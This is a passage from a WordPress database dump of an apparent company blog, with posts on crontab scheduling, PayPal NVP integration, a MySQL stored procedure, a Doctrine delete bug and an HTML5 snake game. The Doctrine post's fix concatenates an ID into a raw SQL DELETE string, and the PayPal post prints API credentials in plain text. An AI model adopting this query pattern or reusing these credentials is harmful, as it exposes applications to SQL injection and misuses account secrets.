to code it as:\r\n<pre>30 5</pre>\r\nIf you want something run at 8 pm, it has to be coded as\r\n<pre>0 20</pre>\r\nsince 2000 hours is 8 pm in the 24-hour time format.\r\n\r\n\"<strong>Day</strong>\" and \"<strong>month</strong>\" refer to dates. \"Day\" takes a value between 1 and 31, and \"month\", as you may have already guessed, can take any value between 1 and 12. So if you want a command run on 5th January at 9.15 am, your schedule should begin with the following:\r\n<pre>15 9 5 1</pre>\r\n\"<strong>Day-of-week</strong>\" means basically which day you want your command to run. If you want your command to run on Sundays, use either 0 or 7 here. If you want it on Monday, use 1. (Note: if you are getting worried at this point how to combine all the various fields, some of which seem to contradict the other, don\'t worry. We\'re getting to that.)\r\n\r\nThe trick to scheduling things, say, once a day, or once in 2 hours or the like, is to use a <strong>wildcard character</strong>. A wildcard character is like the Joker in a pack of playing cards, that is, something that can represent any card in the pack. In a crontab file, the wildcard character \"<strong>*</strong>\" (the asterisk, without the quotes), represents every possible value for the field.\r\n\r\nIf you want a particular program to run, say, once every day at 10.45 am, the time portion of the cron schedule should read:\r\n<pre>45 10 * * *</pre>\r\nHere\'s how to read the above line.\r\n\r\nThe first two fields \"45 10\" means that you want it to run at 10.45. The next field, the day field, is set to * (the asterisk character) to show that we\'re talking about 10.45 every day, not just the 1st of the month (which would be \"1\") or the 30th of the month (\"30\") or some other number.\r\n\r\nThe month field is set to the asterisk as well. If we set some number in the month field, say \"2\", we will be saying that we only want the command to run at 10.45 in the month of February (\"2\"). Since that\'s not what we need, we put the asterisk to mean every month.\r\n\r\nSimilarly, the day-of-week field is set to the asterisk, because we want the command to run whether it\'s Sunday (\"0\") or Monday (\"1\") or whatever day.\r\n<h3>More Examples: An Hourly Schedule</h3>\r\nNow if you want a job to run every hour on the hour, you will have to set the time component of the crontab line as follows:\r\n<pre>0 * * * *</pre>\r\nCan you see why? The \"0\" means at the top of the hour, that is, when the minute readout on a digital clock shows \"00\". The asterisk in the hour field means every single hour. In other words, every hour, on the hour.\r\n<h3>Alternate Hour or 3 Hourly Schedule</h3>\r\nIf you want something to run once every two hours, you will have to use the slash, \"/\", character in your field. The slash character is the \"step\" character. In the case of a two hourly schedule, your time component of your cron file will read:\r\n<pre>0 */2 * * *</pre>\r\nThe second field, \"*/2\", means every alternate hour.\r\n\r\nSimilarly, if you want something to run every 3 hours, you can change that field to \"*/3\", and so on.\r\n<h3>Other Examples</h3>\r\nIf you want a particular command to run only at 8.00am on the 1st and 20th of every month, you should code the time as:\r\n<pre>0 8 1,20 * *</pre>\r\nThe comma, \",\", means \"and\". If you are confused by the above line, remember that spaces are the field separators, not commas.\r\n\r\nWhat does the following schedule mean?\r\n<pre>2 3 4,5 6 7</pre>\r\nDecoded, the above line says at 3:02 am on the 4th and 5th of June (6) <strong>and</strong> on every Sunday (7), run your program.\r\n\r\nThere are other possibilities in the time fields, and I won\'t go through all of them, since you already know enough to be able to construct whatever schedule you need.\r\n<h3>3.      How to specify the command line</h3>\r\nThe command-line-to-execute portion of the schedule is basically the command you want run at the specified time. For example, if you have a Perl script called \"whatever.pl\" that you want run every day at 11.30 pm, your crontab schedule might read as follows:\r\n<pre>30 11 * * * /your/directory/whatever.pl</pre>\r\nIf your script is one of those that must be called from a web browser, like \"cron.php\" on a Drupal installation, you will need to use a command called \"wget\". Technically speaking, wget is not really a browser, but it works adequately like one for our purpose here, which is to simply get the web server to run the script called \"cron.php\".\r\n<pre>30 11 * * * /usr/bin/wget http://www.example.com/cron.php</pre>\r\nIn this case, you will need to specify the full path to wget since, for security reasons, the cron program (not the cron.php script) usually executes in a sort of clean environment, which means that it won\'t know how to find the command \"wget\" unless you tell it where it is.\r\n\r\nAnother important thing to note about this crontab line that we\'re constructing is that the entire line, schedule and command to execute, must fit into one line. You cannot put it into two lines for aesthetic reasons even if your command is very long.\r\n<h3>4.      How to be notified of errors</h3>\r\nSince you are running your script as a scheduled task, there will be nobody there to view its output. By default, cron will send any output from the script in an email to you, if it knows your email address.\r\n\r\nIf your script is very talkative, and issues all sort of information when it executes, you\'ll probably want to shut it up (unless you are starved for email messages). To do this, we need to send all the normal output to a place called \"/dev/null\" which is basically like a black hole. It accepts anything you dump there, but you will never see it again. In the case of our first example, modify the command line to read:\r\n<pre>30 11 * * * /your/directory/whatever.pl &gt;/dev/null</pre>\r\nThe \"&gt;\" sign means to redirect every normal message sent to screen to whatever is next in the command line, which, in our case, is /dev/null. If your script is designed to work correctly in a Unix environment, only the normal output will be swallowed up. Error messages will still be processed by the cron program. This is desirable, since you will want to informed when something is wrong so that you can fix the problem.\r\n\r\nTo receive the remaining unredirected messages, you will need to add another line to your crontab schedule to specify your email address. Use the following format:\r\n<pre>MAILTO=myemailaddress@example.com</pre>\r\n<pre>30 11 * * * /your/directory/whatever.pl &gt;/dev/null</pre>\r\nThe MAILTO line must be on a separate line. It is optional. That is, you don\'t have to specify it if you don\'t want to. Depending on how your web host has set up the system, cron might still be able to successfully send you error messages. If you really don\'t want to hear from cron at all, you will need to make your MAILTO line look like this:\r\n<pre></pre>\r\n<pre>MAILTO=\"\"</pre>\r\n&nbsp;\r\n<h3>5.      Create a text file with all the necessary lines</h3>\r\nThere are many ways to feed all the lines you\'ve constructed so far to crontab. I think the least problematic way for newcomers is to create an ASCII text file on your own computer containing all the needed lines. Use an <a href=\"http://www.thefreecountry.com/programming/editors.shtml\" target=\"_top\">ASCII text editor</a> to do this. If you use Windows, use the program called Notepad, found in the Accessories folder of your Start menu. Do not use Microsoft Office or Word or some such <a href=\"http://www.thefreecountry.com/utilities/wordprocessors.shtml\" target=\"_top\">fancy word processor program</a>.\r\n\r\nOpen a new document with your text editor, and type in the MAILTO line and your schedule (or just your schedule alone if you don\'t want to be notified when an error occurs). Remember, everything must fit into one line. Do not allow your editor to wrap the line. After you have typed in your line, hit the ENTER (or RETURN key on the Mac) so that your cursor is on a new blank line just after your schedule. Read that last sentence again; it\'s important.\r\n\r\nSave the file using any name, but with a \".txt\" extension. You especially need to do this if you are using a system like Windows which use a different line ending from Unix systems. The \".txt\" extension will cause your FTP program to <a href=\"http://www.thefreecountry.com/tofrodos/index.shtml\" target=\"_top\">translate the line ending to a Unix line ending</a> when it uploads the file. If you\'re not sure, just name the file \"crontab.txt\" (whatever system you happen to be using), and you should be fine.\r\n<h3>6.      Upload the file to your web server using an FTP program</h3>\r\nNow <a href=\"http://www.thesitewizard.com/gettingstarted/howtoupload.shtml\" target=\"_top\">upload the file to your site using your FTP program</a>. The file must be uploaded in ASCII mode, which your FTP program will probably automatically do when it sees that you\'re uploading a file with a \".txt\" extension.\r\n<h3>7.      Connect to your web server\'s shell account</h3>\r\nConnect to your web host\'s shell using your telnet or SSH software. If you don\'t have one, download one from the <a href=\"http://www.thefreecountry.com/webmaster/sshandtelnet.shtml\" target=\"_top\">Free SSH (Secure Shell) and Telnet Clients</a> page. I will not go into the details of how you should use the software to log into your shell account, since the method varies according to the program you have downloaded. Ask your web host if you have problems.\r\n<h3>8.      Invoke crontab to set your cron job</h3>\r\nFrom the shell command line, go to where you uploaded your crontab.txt file. You can use \"cd\" (which means \"change directory\") to change to the appropriate directory. Then type in the line below followed by the ENTER key (or RETURN key on the Mac).\r\n\r\n<kbd>crontab crontab.txt </kbd>\r\n\r\nwhere crontab.txt is the name of the file you created and uploaded earlier.\r\n\r\nThat command will cause the program \"crontab\" to install your cronjob. At the appropriate time, a separate program called \"cron\" will execute your job. If you are returned back to the shell prompt with no messages, it means all was well, and you can check that your schedule was correctly set by using the following command:\r\n\r\n<kbd>crontab -l </kbd>\r\n\r\nwhere the \"-l\" means list all the schedules or cronjobs that you have set so far. If you find you made a mistake, or if you wish to reschedule your tasks, you can remove the existing schedules with the following command:\r\n\r\n<kbd>crontab -r </kbd>\r\n\r\nYou can add more schedules the same way. Put all your different schedules into a single crontab file. The first line should be your MAILTO line, followed by each schedule/command on a separate line. When you run \"crontab crontab.txt\" later, crontab will replace your existing schedule with the schedules in your new crontab.txt.\r\n\r\nOnce you\'ve completed everything, you can delete your crontab.txt file. It\'s no longer needed.\r\n<h2>Dealing with Error Messages from Crontab</h2>\r\nIf you received an error message when you used \"crontab crontab.txt\", you probably made a mistake creating your crontab file. Here are the common errors:\r\n<ol>\r\n	<li>You split your schedule/command line into more than one line. Every scheduled task must fit into a single line. Do not allow your text editor to wrap it to another line. Switch off the word wrap feature in your editor if it has one.</li>\r\n	<li>You did not end your file in a new line. That is, you failed to hit the ENTER (or RETURN) key after your last command line in the crontab.txt file.</li>\r\n	<li>You did not upload the file in ASCII mode. Name your file with a .txt extension to have your FTP program automatically convert it. Alternatively, learn how to change the FTP upload mode to ASCII.</li>\r\n	<li>You used a word processor to create your crontab file. If the editor you were using allows you to do things like underline text, make nice bullet points, or do anything fancy besides typing raw text, you\'re probably using the wrong program.</li>\r\n</ol>','How to Create a Cron Job (Scheduled Task) for Your Website','','inherit','open','open','','93-revision-v1','','','2014-07-21 09:15:06','2014-07-21 09:15:06','',93,'http://localhost/yalavarthitechnologies/blog/?p=94',0,'revision','',0),(95,1,'2014-07-21 09:20:18','2014-07-21 09:20:18','<strong>Summary</strong>:\r\n\r\nAs we know about payment gateways like paypal.In that PayPal Name-Value Pair (NVP) is a simple programmatic interface that allows  the merchant, to access PayPal’s business functionality .\r\n\r\nIt is easy to integrate this to our application,just by sending a NVP String to the paypal API using valid credentials.\r\n\r\n<b>Credentails :</b>\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>API username:</td>\r\n<td>sdk-three_api1.sdk.com</td>\r\n</tr>\r\n<tr>\r\n<td>API password:</td>\r\n<td>QFZCWN5HZM8VBG7Q</td>\r\n</tr>\r\n<tr>\r\n<td>API signature:</td>\r\n<td>A‑IzJhZZjhg29XQ2qnhapuwxIDzyAZQ92FRP5dqBzVesOkzbdUONzmOU</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nwhich we can get from our paypal account.\r\n\r\nThe concept is request and response.We are sending a request from our app with all the creditcard details and amount etc,The paypal will give the response according to the information we provided.\r\n\r\nWe can get the sample code from the following URL:\r\n\r\nhttps://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&amp;content_ID=developer/e_howto_api_nvp_NVPAPIOverview','Payflow pro integration','','publish','open','open','','payflow-pro-integration','','','2014-07-21 09:20:18','2014-07-21 09:20:18','',0,'http://localhost/yalavarthitechnologies/blog/?p=95',0,'post','',0),(96,1,'2014-07-21 09:22:41','2014-07-21 09:22:41','<strong>Summary:</strong>\r\n\r\nHi\r\n\r\nMany times we have to insert multiple data in different table on click of one button.\r\n\r\nFor example if we have to insert all the checked records in the favorite table of the member, we have to pass that many insert query. It is not a good idea because it involves that many round trip to database server\r\n\r\nAt these points we should insert all the records with only one call to the database. We can use a stored procedure that takes a comma (or any separator you want to use) list of values and insert them in the database.\r\n\r\nThis way the whole process will be very fast and efficient and will be done in single database trip\r\n\r\nI will show you how to do the same using an example from PT Online project\r\n\r\nSuppose I have and exercise which are going to have multple images.\r\n\r\nAll my exercise are stored in Exercise table and Images in exercise_images table\r\n\r\nIf I need to create a new exercise which have multiple images, I need to pass below query\r\n\r\n1)      Insert query into exercise table(Master)\r\n\r\n2)      Get the Id of the recently inserted record from exercise table\r\n\r\n3)      Pass an insert query for exercise_image table (n number of time)\r\n\r\n&nbsp;\r\n\r\nInstead of all such database trip we can write a procedure which will accept two parameter\r\n\r\n1)      exercisename  2)  exerciseimages ( image1|image2|image3|image4|)\r\n\r\nand will do everything in a single database trip\r\n\r\n&nbsp;\r\n\r\nCreate command for tables\r\n\r\nCREATE TABLE exercise (\r\n\r\nexercise_id int(11) NOT NULL AUTO_INCREMENT,\r\n\r\nexercise_name varchar(250),\r\n\r\nPRIMARY KEY (exercise_id)\r\n\r\n)\r\n\r\n&nbsp;\r\n\r\nCREATE TABLE exercise_image (\r\n\r\nimage_id int(11) NOT NULL AUTO_INCREMENT,\r\n\r\nimage_name varchar(250),\r\n\r\nexercise_id int(11),\r\n\r\nPRIMARY KEY (image_id)\r\n\r\n)\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnd here is the procedure\r\n\r\nDELIMITER $$\r\n\r\nCREATE  PROCEDURE pr_exercise_add_with_images(exercisename varchar(50) , exerciseimages varchar(50) )\r\n\r\nbegin\r\n\r\ndeclare Va smallint ;\r\n\r\ndeclare exerciseid int;\r\n\r\ndeclare imagename varchar(50);\r\n\r\nset Va = char_length(exerciseimages);\r\n\r\ninsert into exercise(exercise_name)values(exercisename); # insert query for exercise table\r\n\r\nSELECT LAST_INSERT_ID() into exerciseid;  # store last insert record into a variable\r\n\r\n&nbsp;\r\n\r\nWHILE Va &gt; 0  DO  # running the loop for that many numbe of images\r\n\r\nSELECT substr(exerciseimages,1,(instr(exerciseimages,\'|\')-1)) INTO imagename;\r\n\r\ninsert into exercise_image (image_name,exercise_id) values(imagename,exerciseid);\r\n\r\nSELECT substr(exerciseimages,instr(exerciseimages,\'|\')+1,char_length(exerciseimages)) INTO exerciseimages;\r\n\r\nSET Va = instr(exerciseimages,\'|\');\r\n\r\nEND WHILE;\r\n\r\nEND$$\r\n\r\nDELIMITER ;\r\n\r\n&nbsp;\r\n\r\nCall the procedure using the below command\r\n\r\ncall pr_exercise_add_with_images(\"exercise1\",\"image1|image2|image3|\");','Stored Procedure','','publish','open','open','','stored-procedure','','','2014-07-21 09:22:41','2014-07-21 09:22:41','',0,'http://localhost/yalavarthitechnologies/blog/?p=96',0,'post','',0),(97,1,'2014-07-21 09:20:18','2014-07-21 09:20:18','<strong>Summary</strong>:\r\n\r\nAs we know about payment gateways like paypal.In that PayPal Name-Value Pair (NVP) is a simple programmatic interface that allows  the merchant, to access PayPal’s business functionality .\r\n\r\nIt is easy to integrate this to our application,just by sending a NVP String to the paypal API using valid credentials.\r\n\r\n<b>Credentails :</b>\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>API username:</td>\r\n<td>sdk-three_api1.sdk.com</td>\r\n</tr>\r\n<tr>\r\n<td>API password:</td>\r\n<td>QFZCWN5HZM8VBG7Q</td>\r\n</tr>\r\n<tr>\r\n<td>API signature:</td>\r\n<td>A‑IzJhZZjhg29XQ2qnhapuwxIDzyAZQ92FRP5dqBzVesOkzbdUONzmOU</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nwhich we can get from our paypal account.\r\n\r\nThe concept is request and response.We are sending a request from our app with all the creditcard details and amount etc,The paypal will give the response according to the information we provided.\r\n\r\nWe can get the sample code from the following URL:\r\n\r\nhttps://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&amp;content_ID=developer/e_howto_api_nvp_NVPAPIOverview','Payflow pro integration','','inherit','open','open','','95-revision-v1','','','2014-07-21 09:20:18','2014-07-21 09:20:18','',95,'http://localhost/yalavarthitechnologies/blog/?p=97',0,'revision','',0),(99,1,'2014-07-21 09:22:41','2014-07-21 09:22:41','<strong>Summary:</strong>\r\n\r\nHi\r\n\r\nMany times we have to insert multiple data in different table on click of one button.\r\n\r\nFor example if we have to insert all the checked records in the favorite table of the member, we have to pass that many insert query. It is not a good idea because it involves that many round trip to database server\r\n\r\nAt these points we should insert all the records with only one call to the database. We can use a stored procedure that takes a comma (or any separator you want to use) list of values and insert them in the database.\r\n\r\nThis way the whole process will be very fast and efficient and will be done in single database trip\r\n\r\nI will show you how to do the same using an example from PT Online project\r\n\r\nSuppose I have and exercise which are going to have multple images.\r\n\r\nAll my exercise are stored in Exercise table and Images in exercise_images table\r\n\r\nIf I need to create a new exercise which have multiple images, I need to pass below query\r\n\r\n1)      Insert query into exercise table(Master)\r\n\r\n2)      Get the Id of the recently inserted record from exercise table\r\n\r\n3)      Pass an insert query for exercise_image table (n number of time)\r\n\r\n&nbsp;\r\n\r\nInstead of all such database trip we can write a procedure which will accept two parameter\r\n\r\n1)      exercisename  2)  exerciseimages ( image1|image2|image3|image4|)\r\n\r\nand will do everything in a single database trip\r\n\r\n&nbsp;\r\n\r\nCreate command for tables\r\n\r\nCREATE TABLE exercise (\r\n\r\nexercise_id int(11) NOT NULL AUTO_INCREMENT,\r\n\r\nexercise_name varchar(250),\r\n\r\nPRIMARY KEY (exercise_id)\r\n\r\n)\r\n\r\n&nbsp;\r\n\r\nCREATE TABLE exercise_image (\r\n\r\nimage_id int(11) NOT NULL AUTO_INCREMENT,\r\n\r\nimage_name varchar(250),\r\n\r\nexercise_id int(11),\r\n\r\nPRIMARY KEY (image_id)\r\n\r\n)\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnd here is the procedure\r\n\r\nDELIMITER $$\r\n\r\nCREATE  PROCEDURE pr_exercise_add_with_images(exercisename varchar(50) , exerciseimages varchar(50) )\r\n\r\nbegin\r\n\r\ndeclare Va smallint ;\r\n\r\ndeclare exerciseid int;\r\n\r\ndeclare imagename varchar(50);\r\n\r\nset Va = char_length(exerciseimages);\r\n\r\ninsert into exercise(exercise_name)values(exercisename); # insert query for exercise table\r\n\r\nSELECT LAST_INSERT_ID() into exerciseid;  # store last insert record into a variable\r\n\r\n&nbsp;\r\n\r\nWHILE Va &gt; 0  DO  # running the loop for that many numbe of images\r\n\r\nSELECT substr(exerciseimages,1,(instr(exerciseimages,\'|\')-1)) INTO imagename;\r\n\r\ninsert into exercise_image (image_name,exercise_id) values(imagename,exerciseid);\r\n\r\nSELECT substr(exerciseimages,instr(exerciseimages,\'|\')+1,char_length(exerciseimages)) INTO exerciseimages;\r\n\r\nSET Va = instr(exerciseimages,\'|\');\r\n\r\nEND WHILE;\r\n\r\nEND$$\r\n\r\nDELIMITER ;\r\n\r\n&nbsp;\r\n\r\nCall the procedure using the below command\r\n\r\ncall pr_exercise_add_with_images(\"exercise1\",\"image1|image2|image3|\");','Stored Procedure','','inherit','open','open','','96-revision-v1','','','2014-07-21 09:22:41','2014-07-21 09:22:41','',96,'http://localhost/yalavarthitechnologies/blog/?p=99',0,'revision','',0),(100,1,'2014-07-21 09:25:45','2014-07-21 09:25:45','<strong>Summary:</strong>\r\n\r\nWhenever we are <b>Editing </b>or <b>Deleting </b>a record using doctrine query, If the <b>where condition</b> primary key is null or empty. It is <b>deleting/updating</b>  all the records from the table.\r\n\r\nlets take the following example\r\n\r\nsql query: delete from comments where id=\r\nif we run this we get error.\r\n\r\nBut in doctrine we are not getting the error, internally it is converting the query like this\r\n\r\ndoctrine query: delete from comments where (id)\r\n\r\nso all comments are deleting from the table. This is the same scenario with comments deactivation problem in one of our projects.\r\n\r\n<b>Solution to this problem</b>\r\n\r\nappend single quotes to the primary id\r\n$id=234;\r\nex: \"delete from comments where id=\'\".$id.\"\'\";','Doctrine Delete, Update Issue','','publish','open','open','','doctrine-delete-update-issue','','','2014-07-21 09:25:45','2014-07-21 09:25:45','',0,'http://localhost/yalavarthitechnologies/blog/?p=100',0,'post','',0),(101,1,'2014-07-21 09:25:45','2014-07-21 09:25:45','<strong>Summary:</strong>\r\n\r\nWhenever we are <b>Editing </b>or <b>Deleting </b>a record using doctrine query, If the <b>where condition</b> primary key is null or empty. It is <b>deleting/updating</b>  all the records from the table.\r\n\r\nlets take the following example\r\n\r\nsql query: delete from comments where id=\r\nif we run this we get error.\r\n\r\nBut in doctrine we are not getting the error, internally it is converting the query like this\r\n\r\ndoctrine query: delete from comments where (id)\r\n\r\nso all comments are deleting from the table. This is the same scenario with comments deactivation problem in one of our projects.\r\n\r\n<b>Solution to this problem</b>\r\n\r\nappend single quotes to the primary id\r\n$id=234;\r\nex: \"delete from comments where id=\'\".$id.\"\'\";','Doctrine Delete, Update Issue','','inherit','open','open','','100-revision-v1','','','2014-07-21 09:25:45','2014-07-21 09:25:45','',100,'http://localhost/yalavarthitechnologies/blog/?p=101',0,'revision','',0),(103,1,'2014-07-21 09:29:38','2014-07-21 09:29:38','<strong>Summary:</strong>\r\n\r\nBy using HTML5, Javascript we can create a snake game.\r\n\r\n<b>Code : </b>\r\nThis code contains three functions <i>play_game()</i>, <i>rand_frog()</i> and <i>set_game_speed()</i>. If you want to change the game theme, modify these five variable values such as <i>level</i>, <i>rect_w</i>, <i>rect_h</i>, <i>inc_score</i> and <i>snake_color</i>.\r\n\r\n&nbsp;\r\n\r\n&lt;!documentTYPE html&gt;\r\n&lt;html lang=\"en\"&gt;\r\n&lt;head&gt;\r\n&lt;meta charset=\"utf-8\" /&gt;\r\n&lt;title&gt;Play Snake Game&lt;/title&gt;\r\n&lt;style type=\"text/css\"&gt;\r\nbody {text-align:center;}\r\ncanvas { border:5px dotted #ccc; }\r\nh1 { font-size:50px; text-align: center; margin: 0; padding-bottom: 25px;}\r\n&lt;/style&gt;\r\n&lt;script type=\"text/javascript\"&gt;\r\nfunction play_game()\r\n{\r\nvar level = 160; // Game level, by decreasing will speed up\r\nvar rect_w = 45; // Width\r\nvar rect_h = 30; // Height\r\nvar inc_score = 50; // Score\r\nvar snake_color = \"#006699\"; // Snake Color\r\nvar ctx; // Canvas attributes\r\nvar tn = []; // temp directions storage\r\nvar x_dir = [-1, 0, 1, 0]; // position adjusments\r\nvar y_dir = [0, -1, 0, 1]; // position adjusments\r\nvar queue = [];\r\nvar frog = 1; // defalut food\r\nvar map = [];\r\nvar MR = Math.random;\r\nvar X = 5 + (MR() * (rect_w - 10))|0; // Calculate positions\r\nvar Y = 5 + (MR() * (rect_h - 10))|0; // Calculate positions\r\nvar direction = MR() * 3 | 0;\r\nvar interval = 0;\r\nvar score = 0;\r\nvar sum = 0, easy = 0;\r\nvar i, dir;\r\n// getting play area\r\nvar c = document.getElementById(\'playArea\');\r\nctx = c.getContext(\'2d\');\r\n// Map positions\r\nfor (i = 0; i &lt; rect_w; i++)\r\n{\r\nmap[i] = [];\r\n}\r\n// random placement of snake food\r\nfunction rand_frog()\r\n{\r\nvar x, y;\r\ndo\r\n{\r\nx = MR() * rect_w|0;\r\ny = MR() * rect_h|0;\r\n}\r\nwhile (map[x][y]);\r\nmap[x][y] = 1;\r\nctx.fillStyle = snake_color;\r\nctx.strokeRect(x * 10+1, y * 10+1, 8, 8);\r\n}\r\n// Default somewhere placement\r\nrand_frog();\r\nfunction set_game_speed()\r\n{\r\nif (easy)\r\n{\r\nX = (X+rect_w)%rect_w;\r\nY = (Y+rect_h)%rect_h;\r\n}\r\n--inc_score;\r\nif (tn.length)\r\n{\r\ndir = tn.pop();\r\nif ((dir % 2) !== (direction % 2))\r\n{\r\ndirection = dir;\r\n}\r\n}\r\nif ((easy || (0 &lt;= X &amp;&amp; 0 &lt;= Y &amp;&amp; X &lt; rect_w &amp;&amp; Y &lt; rect_h)) &amp;&amp; 2 !== map[X][Y])\r\n{\r\nif (1 === map[X][Y])\r\n{\r\nscore+= Math.max(5, inc_score);\r\ninc_score = 50;\r\nrand_frog();\r\nfrog++;\r\n}\r\n//ctx.fillStyle(\"#ffffff\");\r\nctx.fillRect(X * 10, Y * 10, 9, 9);\r\nmap[X][Y] = 2;\r\nqueue.unshift([X, Y]);\r\nX+= x_dir[direction];\r\nY+= y_dir[direction];\r\nif (frog &lt; queue.length)\r\n{\r\ndir = queue.pop()\r\nmap[dir[0]][dir[1]] = 0;\r\nctx.clearRect(dir[0] * 10, dir[1] * 10, 10, 10);\r\n}\r\n}\r\nelse if (!tn.length)\r\n{\r\nvar msg_score = document.getElementById(\"msg\");\r\nmsg_score.innerHTML = \"Thank you for playing game.&lt;br /&gt; Your Score : &lt;b&gt;\"+score+\"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;input type=\'button\' value=\'Play Again\' onclick=\'window.location.reload();\' /&gt;\";\r\ndocument.getElementById(\"playArea\").style.display = \'none\';\r\nwindow.clearInterval(interval);\r\n}\r\n}\r\ninterval = window.setInterval(set_game_speed, level);\r\ndocument.onkeydown = function(e) {\r\nvar code = e.keyCode - 37;\r\nif (0 &lt;= code &amp;&amp; code &lt; 4 &amp;&amp; code !== tn[0])\r\n{\r\ntn.unshift(code);\r\n}\r\nelse if (-5 == code)\r\n{\r\nif (interval)\r\n{\r\nwindow.clearInterval(interval);\r\ninterval = 0;\r\n}\r\nelse\r\n{\r\ninterval = window.setInterval(set_game_speed, 60);\r\n}\r\n}\r\nelse\r\n{\r\ndir = sum + code;\r\nif (dir == 44||dir==94||dir==126||dir==171) {\r\nsum+= code\r\n} else if (dir === 218) easy = 1;\r\n}\r\n}\r\n}\r\n&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body onload=\"play_game()\"&gt;\r\n&lt;h1&gt;Play Snake Game&lt;/h1&gt;\r\n&lt;div id=\"msg\"&gt;&lt;/div&gt;\r\n&lt;canvas id=\"playArea\" width=\"450\" height=\"300\"&gt;Sorry your browser does not support HTML5&lt;/canvas&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;','HTML5 Snake Game','','publish','open','open','','html5-snake-game','','','2014-07-21 09:29:38','2014-07-21 09:29:38','',0,'http://localhost/yalavarthitechnologies/blog/?p=103',0,'post','',0),(104,1,'2014-07-21 09:29:38','2014-07-21 09:29:38','<strong>Summary:</strong>\r\n\r\nBy using HTML5, Javascript we can create a snake game.\r\n\r\n<b>Code : </b>\r\nThis code contains three functions <i>play_game()</i>, <i>rand_frog()</i> and <i>set_game_speed()</i>. If you want to change the game theme, modify these five variable values such as <i>level</i>, <i>rect_w</i>, <i>rect_h</i>, <i>inc_score</i> and <i>snake_color</i>.\r\n\r\n&nbsp;\r\n\r\n&lt;!documentTYPE html&gt;\r\n&lt;html lang=\"en\"&gt;\r\n&lt;head&gt;\r\n&lt;meta charset=\"utf-8\" /&gt;\r\n&lt;title&gt;Play Snake Game&lt;/title&gt;\r\n&lt;style type=\"text/css\"&gt;\r\nbody {text-align:center;}\r\ncanvas { border:5px dotted #ccc; }\r\nh1 { font-size:50px; text-align: center; margin: 0; padding-bottom: 25px;}\r\n&lt;/style&gt;\r\n&lt;script type=\"text/javascript\"&gt;\r\nfunction play_game()\r\n{\r\nvar level = 160; // Game level, by decreasing will speed up\r\nvar rect_w = 45; // Width\r\nvar rect_h = 30; // Height\r\nvar inc_score = 50; // Score\r\nvar snake_color = \"#006699\"; // Snake Color\r\nvar ctx; // Canvas attributes\r\nvar tn = []; // temp directions storage\r\nvar x_dir = [-1, 0, 1, 0]; // position adjusments\r\nvar y_dir = [0, -1, 0, 1]; // position adjusments\r\nvar queue = [];\r\nvar frog = 1; // defalut food\r\nvar map = [];\r\nvar MR = Math.random;\r\nvar X = 5 + (MR() * (rect_w - 10))|0; // Calculate positions\r\nvar Y = 5 + (MR() * (rect_h - 10))|0; // Calculate positions\r\nvar direction = MR() * 3 | 0;\r\nvar interval = 0;\r\nvar score = 0;\r\nvar sum = 0, easy = 0;\r\nvar i, dir;\r\n// getting play area\r\nvar c = document.getElementById(\'playArea\');\r\nctx = c.getContext(\'2d\');\r\n// Map positions\r\nfor (i = 0; i &lt; rect_w; i++)\r\n{\r\nmap[i] = [];\r\n}\r\n// random placement of snake food\r\nfunction rand_frog()\r\n{\r\nvar x, y;\r\ndo\r\n{\r\nx = MR() * rect_w|0;\r\ny = MR() * rect_h|0;\r\n}\r\nwhile (map[x][y]);\r\nmap[x][y] = 1;\r\nctx.fillStyle = snake_color;\r\nctx.strokeRect(x * 10+1, y * 10+1, 8, 8);\r\n}\r\n// Default somewhere placement\r\nrand_frog();\r\nfunction set_game_speed()\r\n{\r\nif (easy)\r\n{\r\nX = (X+rect_w)%rect_w;\r\nY = (Y+rect_h)%rect_h;\r\n}\r\n--inc_score;\r\nif (tn.length)\r\n{\r\ndir = tn.pop();\r\nif ((dir % 2) !== (direction % 2))\r\n{\r\ndirection = dir;\r\n}\r\n}\r\nif ((easy || (0 &lt;= X &amp;&amp; 0 &lt;= Y &amp;&amp; X &lt; rect_w &amp;&amp; Y &lt; rect_h)) &amp;&amp; 2 !== map[X][Y])\r\n{\r\nif (1 === map[X][Y])\r\n{\r\nscore+= Math.max(5, inc_score);\r\ninc_score = 50;\r\nrand_frog();\r\nfrog++;\r\n}\r\n//ctx.fillStyle(\"#ffffff\");\r\nctx.fillRect(X * 10, Y * 10, 9, 9);\r\nmap[X][Y] = 2;\r\nqueue.unshift([X, Y]);\r\nX+= x_dir[direction];\r\nY+= y_dir[direction];\r\nif (frog &lt; queue.length)\r\n{\r\ndir = queue.pop()\r\nmap[dir[0]][dir[1]] = 0;\r\nctx.clearRect(dir[0] * 10, dir[1] * 10, 10, 10);\r\n}\r\n}\r\nelse if (!tn.length)\r\n{\r\nvar msg_score = document.getElementById(\"msg\");\r\nmsg_score.innerHTML = \"Thank you for playing game.&lt;br /&gt; Your Score : &lt;b&gt;\"+score+\"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;input type=\'button\' value=\'Play Again\' onclick=\'window.location.reload();\' /&gt;\";\r\ndocument.getElementById(\"playArea\").style.display = \'none\';\r\nwindow.clearInterval(interval);\r\n}\r\n}\r\ninterval = window.setInterval(set_game_speed, level);\r\ndocument.onkeydown = function(e) {\r\nvar code = e.keyCode - 37;\r\nif (0 &lt;= code &amp;&amp; code &lt; 4 &amp;&amp; code !== tn[0])\r\n{\r\ntn.unshift(code);\r\n}\r\nelse if (-5 == code)\r\n{\r\nif (interval)\r\n{\r\nwindow.clearInterval(interval);\r\ninterval = 0;\r\n}\r\nelse\r\n{\r\ninterval = window.setInterval(set_game_speed, 60);\r\n}\r\n}\r\nelse\r\n{\r\ndir = sum + code;\r\nif (dir == 44||dir==94||dir==126||dir==171) {\r\nsum+= code\r\n} else if (dir === 218) easy = 1;\r\n}\r\n}\r\n}\r\n&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body onload=\"play_game()\"&gt;\r\n&lt;h1&gt;Play Snake 